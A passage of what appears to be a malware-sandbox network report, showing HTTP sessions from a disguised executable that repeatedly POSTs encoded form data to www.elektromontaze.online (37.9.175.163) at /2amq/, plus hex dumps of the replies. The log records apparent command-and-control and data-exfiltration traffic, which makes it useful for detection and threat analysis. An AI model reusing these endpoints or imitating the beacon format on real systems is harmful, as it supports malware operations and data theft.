                                                                                              Data Raw: 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 6f 75 64 77 61 79 73 2d 73 74 61 74 69 63 2d 63 6f 6e 74 65 6e 74 2e 73 33 2e 75 73 2d 65 61 73 74 2d 31 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 65 72 72 6f 72 5f 70 61 67 65 2f 6d 61 69 6e 74 65 6e 61 6e 63 65 2d 64 6f 6d 61 69 6e 2d 6d 61 70 70 69 6e 67 2e 68 74 6d 6c 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 74 79 6c 65 3d 22 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 70 78 3b 6c 65 66 74 3a 30 70 78 3b 72 69 67 68 74 3a 30 70 78 3b 62 6f 74 74 6f 6d 3a 30 70 78 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 3e 3c 2f 69 66 72 61 6d [TRUNCATED]
                                                                                              Data Ascii: 157<!DOCTYPE html><html> <iframe src="https://cloudways-static-content.s3.us-east-1.amazonaws.com/error_page/maintenance-domain-mapping.html" frameborder="0" style="overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;position:absolute;top:0px;left:0px;right:0px;bottom:0px" height="100%" width="100%"></iframe></html>0


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              21192.168.2.74999437.9.175.163805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:34:47.961715937 CEST718OUTPOST /2amq/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.elektromontaze.online
                                                                                              Origin: http://www.elektromontaze.online
                                                                                              Content-Length: 220
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.elektromontaze.online/2amq/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 65 70 43 34 46 48 71 67 46 47 33 48 5a 50 32 6f 5a 5a 6e 38 79 4c 39 6c 6d 79 6c 74 54 2b 6c 6f 33 6c 2b 50 41 49 35 66 50 6d 72 6f 6f 57 55 4e 6b 72 56 66 74 65 64 6d 2f 4b 73 6e 56 66 6f 30 74 77 73 37 31 61 61 35 45 53 68 48 45 58 73 75 50 53 42 58 4f 65 4b 2f 52 2f 65 57 63 50 43 6e 30 52 53 48 63 34 42 53 6d 38 42 43 4e 47 6a 56 67 53 66 45 73 76 6b 74 36 71 35 37 42 30 74 37 33 41 2b 39 65 4d 6d 53 6a 54 42 35 36 65 58 4e 77 51 77 4b 44 72 61 57 39 61 41 57 6f 6a 54 46 75 34 4e 39 4e 6d 43 4a 75 6d 74 63 41 68 70 75 7a 51 76 41 76 2f 71 50 74 73 53 65 6d 79 39 4e 47 2b 6b 61 58 46 35 56 44 2b 55 59 6f 48 59 48 70 41 3d 3d
                                                                                              Data Ascii: OReh1rq=epC4FHqgFG3HZP2oZZn8yL9lmyltT+lo3l+PAI5fPmrooWUNkrVftedm/KsnVfo0tws71aa5EShHEXsuPSBXOeK/R/eWcPCn0RSHc4BSm8BCNGjVgSfEsvkt6q57B0t73A+9eMmSjTB56eXNwQwKDraW9aAWojTFu4N9NmCJumtcAhpuzQvAv/qPtsSemy9NG+kaXF5VD+UYoHYHpA==
                                                                                              Oct 23, 2024 17:34:48.833265066 CEST1236INHTTP/1.1 200 OK
                                                                                              Server: openresty
                                                                                              Date: Wed, 23 Oct 2024 15:34:48 GMT
                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Vary: Accept-Encoding
                                                                                              Content-Encoding: br
                                                                                              Data Raw: 66 30 63 0d 0a 15 35 4b 00 c4 a7 9c da f7 6e aa 77 78 6e 24 79 58 c2 12 24 83 91 a3 74 21 c4 15 ac 00 1b 76 39 58 94 38 ff a2 bb e9 ff b8 ba f2 a7 ea d7 59 be fb f6 2b 3b 22 29 22 ec 11 1a 11 79 42 6d aa ba ba df fb 7f 66 16 67 43 40 d5 d5 dd 7f e8 cf 02 65 42 0c 4a 9f 11 44 ee a4 d8 e4 08 85 3c 21 6f 91 dc f2 70 4c 7c 5e ee 3a b2 9a a6 e9 00 f5 31 02 5a c6 3b 54 03 22 6d 19 69 5c 4c 70 98 08 00 71 cf 70 1c ab 7c c1 a9 7b 0b 62 ea 38 4e f2 c8 42 f5 9f 25 d2 5a 35 27 23 ed 49 31 44 4b 52 91 06 ab ba 8d 8a 92 08 ae 26 1d 82 3d a2 6c 4b ee cf 8a 6c c3 d2 c5 83 ed 5e 8f 06 33 0f 9c c1 b3 00 53 24 e1 aa e4 f0 bc c6 2b 5e 70 8a ac 2f 12 12 3a 17 35 5c 21 3d 68 a6 df 81 25 e5 d1 f7 02 aa 66 66 9c 08 83 11 6d 6d 83 b7 c9 42 b8 f3 24 fc 4b 9b 2f 22 8d 45 2a 83 23 dd 99 44 93 24 e5 28 fb 70 b2 a2 c6 57 82 e8 18 cc 42 a6 b2 e9 03 6a 19 ef a4 88 12 a2 52 5f 0b 38 fa a5 f0 27 c6 1c dd ee 3c f0 bc 68 99 17 eb 00 3d 09 18 dc 0b 03 4d 6b ea 38 40 a1 48 d3 c3 3c 32 93 59 a4 31 1f 3d 9f 9a 49 3c 88 3c e5 69 5b b0 da [TRUNCATED]
                                                                                              Data Ascii: f0c5Knwxn$yX$t!v9X8Y+;")"yBmfgC@eBJD<!opL|^:1Z;T"mi\Lpqp|{b8NB%Z5'#I1DKR&=lKl^3S$+^p/:5\!=h%ffmmB$K/"E*#D$(pWBjR_8'<h=Mk8@H<2Y1=I<<i[jwM}M<@ 9}}!r=.RZ$@doZkx%=dY$/t_oUB0:S`Np?B'g[vGt::4n'M\Tz}ZNNPmON1}OO3;@N:=9Vkn{NFtC#o>oy>GX;"DkAcy4}RJPFLjX$\6+;\00VNmb1^-|u:c}K`RF[61h+}$_\#Qmhe?Tm2MAGDb(^%E-u8ayM2@j3ZT`p!w aD.3D,R;5fw[):R%[Y=(YeiY$[LfX^6l@(PQu]'&%3|,S{\8&IEb)AwT;]z*`$*wBm7u[3O=c [TRUNCATED]
                                                                                              Oct 23, 2024 17:34:48.833424091 CEST212INData Raw: d3 02 75 09 a3 99 b5 8a b7 96 35 18 94 6e c9 1a 67 ee e1 a7 8b 59 78 be ae e4 2d 60 65 d7 3b 0d 7b bf b7 32 5b 47 46 75 64 8e 8e cc d5 91 79 3a 32 1f 9d 31 27 98 44 aa f9 19 87 fb b1 cd 61 3e 6c ed c8 15 11 08 ad 71 de 6c c3 36 9c 50 72 a0 3c dd
                                                                                              Data Ascii: u5ngYx-`e;{2[GFudy:21'Da>lql6Pr<bJ,`eu3-B0Q5?$pCX|J,v:gcS!lDE@Vv9/2n@:uA2tmY,T|M?q
                                                                                              Oct 23, 2024 17:34:48.833496094 CEST1236INData Raw: df 50 02 97 95 18 0f 0b c3 1f 05 88 b6 55 b2 5c a8 af 98 ba bb 18 49 63 78 65 38 5d a7 c3 f5 aa d5 0f c5 21 7b 97 a9 58 ca 3f d9 78 26 4f 85 fe 56 10 36 e7 09 b6 eb 64 b9 a0 9a 8d 09 34 a7 95 06 b5 82 d9 88 15 3b 10 63 bc e5 f2 32 9d 15 17 e8 ea
                                                                                              Data Ascii: PU\Icxe8]!{X?x&OV6d4;c2RD<gXy\@'qAD>G<_2{s9/tn}=2$7OCEwmm2zSKyHgObRyN=cwst@WMKcfIE@,EBc
                                                                                              Oct 23, 2024 17:34:48.833551884 CEST1236INData Raw: 47 52 05 8f 18 4e 50 45 3f 78 48 79 74 6a 03 22 58 d9 0e c9 12 80 68 89 c4 fa 3c c7 ea b2 f3 4d de a1 ac 55 ba d4 5e 49 4f e3 8b 6a 5b 18 ec 10 f4 69 e9 83 be 72 dc cf 94 aa a3 ce 3f 7a b5 ae 02 f6 55 71 2f a3 af ec be 6e 9a 80 3a f2 c9 58 ed 10
                                                                                              Data Ascii: GRNPE?xHytj"Xh<MU^IOj[ir?zUq/n:XtkKkpE[p$Qx)Q&F2f0Am#TMap, d_o3<]_1wcjL%4l'SL6E:RwZEN 2f]NC
                                                                                              Oct 23, 2024 17:34:48.833581924 CEST151INData Raw: 7a df aa c6 5c d6 13 16 67 fd 50 93 07 88 c6 fd ef b4 5f 58 61 69 38 22 dc 16 b6 1a c9 d7 cd e5 20 53 fa bb 19 f5 a3 87 a8 a7 25 52 f6 ce 52 a5 a7 ec 87 59 eb 53 99 70 18 60 fd 2c 7e 08 46 3e c5 a8 d4 4d fe 48 2b 64 bb 19 76 aa b0 51 4c a5 03 66
                                                                                              Data Ascii: z\gP_Xai8" S%RRYSp`,~F>MH+dvQLf)Jh.lh%\#0y_qnT?i(%EZU0


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              22192.168.2.74999537.9.175.163805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:34:50.514065981 CEST738OUTPOST /2amq/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.elektromontaze.online
                                                                                              Origin: http://www.elektromontaze.online
                                                                                              Content-Length: 240
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.elektromontaze.online/2amq/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 65 70 43 34 46 48 71 67 46 47 33 48 62 71 2b 6f 59 36 50 38 6a 72 39 36 71 53 6c 74 64 65 6c 73 33 6c 79 50 41 4e 42 50 49 53 48 6f 74 44 6f 4e 6c 71 56 66 6f 65 64 6d 6e 61 73 69 59 2f 6f 37 74 77 51 4a 31 66 69 35 45 53 31 48 45 53 51 75 50 6a 42 57 4d 4f 4b 35 5a 66 65 51 53 76 43 6e 30 52 53 48 63 34 55 33 6d 38 5a 43 4d 33 54 56 68 7a 66 48 68 50 6c 66 73 36 35 37 4b 55 74 2f 33 41 2b 62 65 4e 37 33 6a 52 35 35 36 65 48 4e 77 6b 6b 4e 51 4c 61 63 69 4b 42 66 35 42 61 56 77 59 78 35 48 31 32 41 70 58 70 64 4d 33 30 4d 70 79 6a 73 78 75 53 30 70 75 32 6f 78 55 67 34 45 2f 67 43 61 6e 4e 30 63 4a 78 79 6c 56 35 44 2f 35 6f 43 38 4b 53 71 6c 31 65 71 4b 61 58 75 49 4b 44 4e 69 44 45 3d
                                                                                              Data Ascii: OReh1rq=epC4FHqgFG3Hbq+oY6P8jr96qSltdels3lyPANBPISHotDoNlqVfoedmnasiY/o7twQJ1fi5ES1HESQuPjBWMOK5ZfeQSvCn0RSHc4U3m8ZCM3TVhzfHhPlfs657KUt/3A+beN73jR556eHNwkkNQLaciKBf5BaVwYx5H12ApXpdM30MpyjsxuS0pu2oxUg4E/gCanN0cJxylV5D/5oC8KSql1eqKaXuIKDNiDE=
                                                                                              Oct 23, 2024 17:34:51.383136988 CEST1236INHTTP/1.1 200 OK
                                                                                              Server: openresty
                                                                                              Date: Wed, 23 Oct 2024 15:34:51 GMT
                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Vary: Accept-Encoding
                                                                                              Content-Encoding: br
                                                                                              Data Raw: 66 30 63 0d 0a 15 35 4b 00 c4 a7 9c da f7 6e aa 77 78 6e 24 79 58 c2 12 24 83 91 a3 74 21 c4 15 ac 00 1b 76 39 58 94 38 ff a2 bb e9 ff b8 ba f2 a7 ea d7 59 be fb f6 2b 3b 22 29 22 ec 11 1a 11 79 42 6d aa ba ba df fb 7f 66 16 67 43 40 d5 d5 dd 7f e8 cf 02 65 42 0c 4a 9f 11 44 ee a4 d8 e4 08 85 3c 21 6f 91 dc f2 70 4c 7c 5e ee 3a b2 9a a6 e9 00 f5 31 02 5a c6 3b 54 03 22 6d 19 69 5c 4c 70 98 08 00 71 cf 70 1c ab 7c c1 a9 7b 0b 62 ea 38 4e f2 c8 42 f5 9f 25 d2 5a 35 27 23 ed 49 31 44 4b 52 91 06 ab ba 8d 8a 92 08 ae 26 1d 82 3d a2 6c 4b ee cf 8a 6c c3 d2 c5 83 ed 5e 8f 06 33 0f 9c c1 b3 00 53 24 e1 aa e4 f0 bc c6 2b 5e 70 8a ac 2f 12 12 3a 17 35 5c 21 3d 68 a6 df 81 25 e5 d1 f7 02 aa 66 66 9c 08 83 11 6d 6d 83 b7 c9 42 b8 f3 24 fc 4b 9b 2f 22 8d 45 2a 83 23 dd 99 44 93 24 e5 28 fb 70 b2 a2 c6 57 82 e8 18 cc 42 a6 b2 e9 03 6a 19 ef a4 88 12 a2 52 5f 0b 38 fa a5 f0 27 c6 1c dd ee 3c f0 bc 68 99 17 eb 00 3d 09 18 dc 0b 03 4d 6b ea 38 40 a1 48 d3 c3 3c 32 93 59 a4 31 1f 3d 9f 9a 49 3c 88 3c e5 69 5b b0 da [TRUNCATED]
                                                                                              Data Ascii: f0c5Knwxn$yX$t!v9X8Y+;")"yBmfgC@eBJD<!opL|^:1Z;T"mi\Lpqp|{b8NB%Z5'#I1DKR&=lKl^3S$+^p/:5\!=h%ffmmB$K/"E*#D$(pWBjR_8'<h=Mk8@H<2Y1=I<<i[jwM}M<@ 9}}!r=.RZ$@doZkx%=dY$/t_oUB0:S`Np?B'g[vGt::4n'M\Tz}ZNNPmON1}OO3;@N:=9Vkn{NFtC#o>oy>GX;"DkAcy4}RJPFLjX$\6+;\00VNmb1^-|u:c}K`RF[61h+}$_\#Qmhe?Tm2MAGDb(^%E-u8ayM2@j3ZT`p!w aD.3D,R;5fw[):R%[Y=(YeiY$[LfX^6l@(PQu]'&%3|,S{\8&IEb)AwT;]z*`$*wBm7u[3O=c [TRUNCATED]
                                                                                              Oct 23, 2024 17:34:51.383162975 CEST1236INData Raw: d3 02 75 09 a3 99 b5 8a b7 96 35 18 94 6e c9 1a 67 ee e1 a7 8b 59 78 be ae e4 2d 60 65 d7 3b 0d 7b bf b7 32 5b 47 46 75 64 8e 8e cc d5 91 79 3a 32 1f 9d 31 27 98 44 aa f9 19 87 fb b1 cd 61 3e 6c ed c8 15 11 08 ad 71 de 6c c3 36 9c 50 72 a0 3c dd
                                                                                              Data Ascii: u5ngYx-`e;{2[GFudy:21'Da>lql6Pr<bJ,`eu3-B0Q5?$pCX|J,v:gcS!lDE@Vv9/2n@:uA2tmY,T|M?qPU\Icxe8]
                                                                                              Oct 23, 2024 17:34:51.383179903 CEST1236INData Raw: 4b 92 e3 55 dc 9c c6 99 ce b5 63 87 d6 58 6a c4 d2 e6 5c 32 1f 72 9b 4b a9 c4 12 97 8b 69 2f c9 f6 8e d4 7a 64 60 e2 c5 9b 54 79 33 4e c5 ad 9a f2 d4 38 c3 c9 12 cb 8c 4e 89 c0 da 71 56 17 5e db 9b 16 96 29 49 51 ca fd 0d 6b f5 04 5d 88 64 8c 20
                                                                                              Data Ascii: KUcXj\2rKi/zd`Ty3N8NqV^)IQk]d 4N++'64kAX2Ar-eYU6v*LxVXI<FI$nkjd!ZJ*QHy1]":*P%geSRM$DGRNPE?xHytj"Xh<
                                                                                              Oct 23, 2024 17:34:51.383198023 CEST363INData Raw: f3 24 bc f8 3d 62 34 a0 fb 51 5a 0d 2e dc d9 38 1c 89 ba 0a ec 4f 89 d3 22 29 97 80 a9 8d 1f cb 52 c6 39 e8 fb 9b 9c 16 17 9c dc 05 31 f2 f5 29 19 36 18 c3 ed f9 cd 23 f6 7b b7 df e6 45 f5 94 b0 ea f6 3a 24 39 86 dd 2e 70 b8 f0 53 21 38 e6 8f f6
                                                                                              Data Ascii: $=b4QZ.8O")R91)6#{E:$9.pS!8G\?/GKC(*s28x%>DHdVl'w\RHCwr4z@'JSQl7E#a%"YK/sre4z\gP_Xai8"


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              23192.168.2.74999637.9.175.163805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:34:53.068348885 CEST1751OUTPOST /2amq/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.elektromontaze.online
                                                                                              Origin: http://www.elektromontaze.online
                                                                                              Content-Length: 1252
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.elektromontaze.online/2amq/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 65 70 43 34 46 48 71 67 46 47 33 48 62 71 2b 6f 59 36 50 38 6a 72 39 36 71 53 6c 74 64 65 6c 73 33 6c 79 50 41 4e 42 50 49 54 54 6f 78 6c 38 4e 6b 4a 4e 66 76 65 64 6d 72 36 73 6a 59 2f 6f 69 74 77 49 4e 31 66 6d 70 45 51 4e 48 4c 51 49 75 4e 58 74 57 46 4f 4b 35 62 66 65 52 63 50 43 79 30 52 43 59 63 34 45 33 6d 38 5a 43 4d 31 4c 56 6e 69 66 48 79 2f 6b 74 36 71 35 42 42 30 74 62 33 41 32 6c 65 4e 75 43 67 6c 4e 35 36 2f 33 4e 32 43 59 4e 4b 4c 61 53 6a 4b 42 48 35 42 48 50 77 62 56 50 48 30 44 49 70 56 70 64 50 53 63 61 37 67 6a 4b 76 76 36 33 69 76 76 4a 78 45 4d 78 63 74 38 44 61 6b 5a 36 53 72 31 63 70 31 52 76 39 4e 78 6d 69 63 2f 66 6b 52 6e 2f 45 61 43 55 58 4b 2f 72 32 58 77 30 42 68 75 72 45 68 55 37 56 51 71 51 74 4c 59 57 67 69 59 79 51 4d 68 65 66 73 30 54 74 65 52 65 73 74 2f 54 4c 68 31 54 33 35 30 73 36 50 47 64 48 70 70 6f 69 36 49 73 77 31 35 50 63 41 2b 36 6b 69 6e 6c 6a 42 32 69 65 54 5a 7a 4e 38 42 7a 36 4f 68 42 61 4d 61 35 6d 55 63 77 4c 72 63 52 39 51 [TRUNCATED]
                                                                                              Data Ascii: OReh1rq=epC4FHqgFG3Hbq+oY6P8jr96qSltdels3lyPANBPITToxl8NkJNfvedmr6sjY/oitwIN1fmpEQNHLQIuNXtWFOK5bfeRcPCy0RCYc4E3m8ZCM1LVnifHy/kt6q5BB0tb3A2leNuCglN56/3N2CYNKLaSjKBH5BHPwbVPH0DIpVpdPSca7gjKvv63ivvJxEMxct8DakZ6Sr1cp1Rv9Nxmic/fkRn/EaCUXK/r2Xw0BhurEhU7VQqQtLYWgiYyQMhefs0TteRest/TLh1T350s6PGdHppoi6Isw15PcA+6kinljB2ieTZzN8Bz6OhBaMa5mUcwLrcR9QcGIDl/NX7/Og7YFOcN55XvTT+2USTtWA2S3Q3bfhlYmQ7tL6NKCiSnyxFbtIfHuiDDoNwywHspfWkuvKN4+7hlqw3n4yxRuaq1ccZ2bvUYfLkmMEGWcVm1Ark9J2KAjix44UTXIl48i9bmUIqet7upFYl/M1RFnnIetMQvYAKfcTPpAT7VywF5107z+OFqviGTNeVVPhjQOTjPyDh68HzCdGE3fwVqNvqNg/+ZbgW/uKXLyDY5D673U32ndtTyVXOgWLKNGlfASJ9fNQIg8PE+V9CEbzjI0nGFQ6iviEfhyLCmOksIwwi36Jx+XB7cNobt17Js7D8gLz/slrmYuv/+FvqTgEi28J8BfY6FhZKE/cmWjvJmXeaV8eop2V+4da56arc9ptpPl4Kin0e9VpqnjHT1bko2bysPXPnRnaZHYIaRfEfrSoW/3ub4HCipCiRcyug3N/2wyf9x9w+r89ylQsgdVr+/jz/0HuZ5zh+dRD6YGuIF8duj70UPdrzHrD9Fdq3ZNba+XcVahLxtPdwtAVtKjxf/vBETv3TGkPUzLkuNeKulyiFhtwYUW/x3V+q/BKRJh/C5s3m6ApVe+VGGRg5JfeUEXBOVu2MvuNiiYXEwUYmWeKA33aygYrP86cxHUyFWiTLKr4GQJSyORVQEyBK7cRQl+OHo [TRUNCATED]
                                                                                              Oct 23, 2024 17:34:53.954890966 CEST1236INHTTP/1.1 200 OK
                                                                                              Server: openresty
                                                                                              Date: Wed, 23 Oct 2024 15:34:53 GMT
                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Vary: Accept-Encoding
                                                                                              Content-Encoding: br
                                                                                              Data Raw: 66 30 63 0d 0a 15 35 4b 00 c4 a7 9c da f7 6e aa 77 78 6e 24 79 58 c2 12 24 83 91 a3 74 21 c4 15 ac 00 1b 76 39 58 94 38 ff a2 bb e9 ff b8 ba f2 a7 ea d7 59 be fb f6 2b 3b 22 29 22 ec 11 1a 11 79 42 6d aa ba ba df fb 7f 66 16 67 43 40 d5 d5 dd 7f e8 cf 02 65 42 0c 4a 9f 11 44 ee a4 d8 e4 08 85 3c 21 6f 91 dc f2 70 4c 7c 5e ee 3a b2 9a a6 e9 00 f5 31 02 5a c6 3b 54 03 22 6d 19 69 5c 4c 70 98 08 00 71 cf 70 1c ab 7c c1 a9 7b 0b 62 ea 38 4e f2 c8 42 f5 9f 25 d2 5a 35 27 23 ed 49 31 44 4b 52 91 06 ab ba 8d 8a 92 08 ae 26 1d 82 3d a2 6c 4b ee cf 8a 6c c3 d2 c5 83 ed 5e 8f 06 33 0f 9c c1 b3 00 53 24 e1 aa e4 f0 bc c6 2b 5e 70 8a ac 2f 12 12 3a 17 35 5c 21 3d 68 a6 df 81 25 e5 d1 f7 02 aa 66 66 9c 08 83 11 6d 6d 83 b7 c9 42 b8 f3 24 fc 4b 9b 2f 22 8d 45 2a 83 23 dd 99 44 93 24 e5 28 fb 70 b2 a2 c6 57 82 e8 18 cc 42 a6 b2 e9 03 6a 19 ef a4 88 12 a2 52 5f 0b 38 fa a5 f0 27 c6 1c dd ee 3c f0 bc 68 99 17 eb 00 3d 09 18 dc 0b 03 4d 6b ea 38 40 a1 48 d3 c3 3c 32 93 59 a4 31 1f 3d 9f 9a 49 3c 88 3c e5 69 5b b0 da [TRUNCATED]
                                                                                              Data Ascii: f0c5Knwxn$yX$t!v9X8Y+;")"yBmfgC@eBJD<!opL|^:1Z;T"mi\Lpqp|{b8NB%Z5'#I1DKR&=lKl^3S$+^p/:5\!=h%ffmmB$K/"E*#D$(pWBjR_8'<h=Mk8@H<2Y1=I<<i[jwM}M<@ 9}}!r=.RZ$@doZkx%=dY$/t_oUB0:S`Np?B'g[vGt::4n'M\Tz}ZNNPmON1}OO3;@N:=9Vkn{NFtC#o>oy>GX;"DkAcy4}RJPFLjX$\6+;\00VNmb1^-|u:c}K`RF[61h+}$_\#Qmhe?Tm2MAGDb(^%E-u8ayM2@j3ZT`p!w aD.3D,R;5fw[):R%[Y=(YeiY$[LfX^6l@(PQu]'&%3|,S{\8&IEb)AwT;]z*`$*wBm7u[3O=c [TRUNCATED]
                                                                                              Oct 23, 2024 17:34:53.954911947 CEST1236INData Raw: d3 02 75 09 a3 99 b5 8a b7 96 35 18 94 6e c9 1a 67 ee e1 a7 8b 59 78 be ae e4 2d 60 65 d7 3b 0d 7b bf b7 32 5b 47 46 75 64 8e 8e cc d5 91 79 3a 32 1f 9d 31 27 98 44 aa f9 19 87 fb b1 cd 61 3e 6c ed c8 15 11 08 ad 71 de 6c c3 36 9c 50 72 a0 3c dd
                                                                                              Data Ascii: u5ngYx-`e;{2[GFudy:21'Da>lql6Pr<bJ,`eu3-B0Q5?$pCX|J,v:gcS!lDE@Vv9/2n@:uA2tmY,T|M?qPU\Icxe8]
                                                                                              Oct 23, 2024 17:34:53.954922915 CEST1236INData Raw: 4b 92 e3 55 dc 9c c6 99 ce b5 63 87 d6 58 6a c4 d2 e6 5c 32 1f 72 9b 4b a9 c4 12 97 8b 69 2f c9 f6 8e d4 7a 64 60 e2 c5 9b 54 79 33 4e c5 ad 9a f2 d4 38 c3 c9 12 cb 8c 4e 89 c0 da 71 56 17 5e db 9b 16 96 29 49 51 ca fd 0d 6b f5 04 5d 88 64 8c 20
                                                                                              Data Ascii: KUcXj\2rKi/zd`Ty3N8NqV^)IQk]d 4N++'64kAX2Ar-eYU6v*LxVXI<FI$nkjd!ZJ*QHy1]":*P%geSRM$DGRNPE?xHytj"Xh<
                                                                                              Oct 23, 2024 17:34:53.954933882 CEST363INData Raw: f3 24 bc f8 3d 62 34 a0 fb 51 5a 0d 2e dc d9 38 1c 89 ba 0a ec 4f 89 d3 22 29 97 80 a9 8d 1f cb 52 c6 39 e8 fb 9b 9c 16 17 9c dc 05 31 f2 f5 29 19 36 18 c3 ed f9 cd 23 f6 7b b7 df e6 45 f5 94 b0 ea f6 3a 24 39 86 dd 2e 70 b8 f0 53 21 38 e6 8f f6
                                                                                              Data Ascii: $=b4QZ.8O")R91)6#{E:$9.pS!8G\?/GKC(*s28x%>DHdVl'w\RHCwr4z@'JSQl7E#a%"YK/sre4z\gP_Xai8"


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              24192.168.2.74999737.9.175.163805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:34:55.611731052 CEST439OUTGET /2amq/?OReh1rq=TrqYGwWaHxniF7eNSKDkgIUevCh1dc5tnDDYGpgsaE/mtn8diYV+ickL9IcoZLc+jgEWqYyaPiUJOg0jMzRcZMH4Po/VVtmSjhfWTZt8/sN4EXefuBThivk80qQven1R3gWiVtinhRVX&CvQl=nrm0ZhFpzl HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Language: en-US
                                                                                              Host: www.elektromontaze.online
                                                                                              Connection: close
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Oct 23, 2024 17:34:56.486562967 CEST1236INHTTP/1.1 200 OK
                                                                                              Server: openresty
                                                                                              Date: Wed, 23 Oct 2024 15:34:56 GMT
                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Vary: Accept-Encoding
                                                                                              Vary: Accept-Encoding
                                                                                              Data Raw: 34 62 33 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 76 65 32 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 [TRUNCATED]
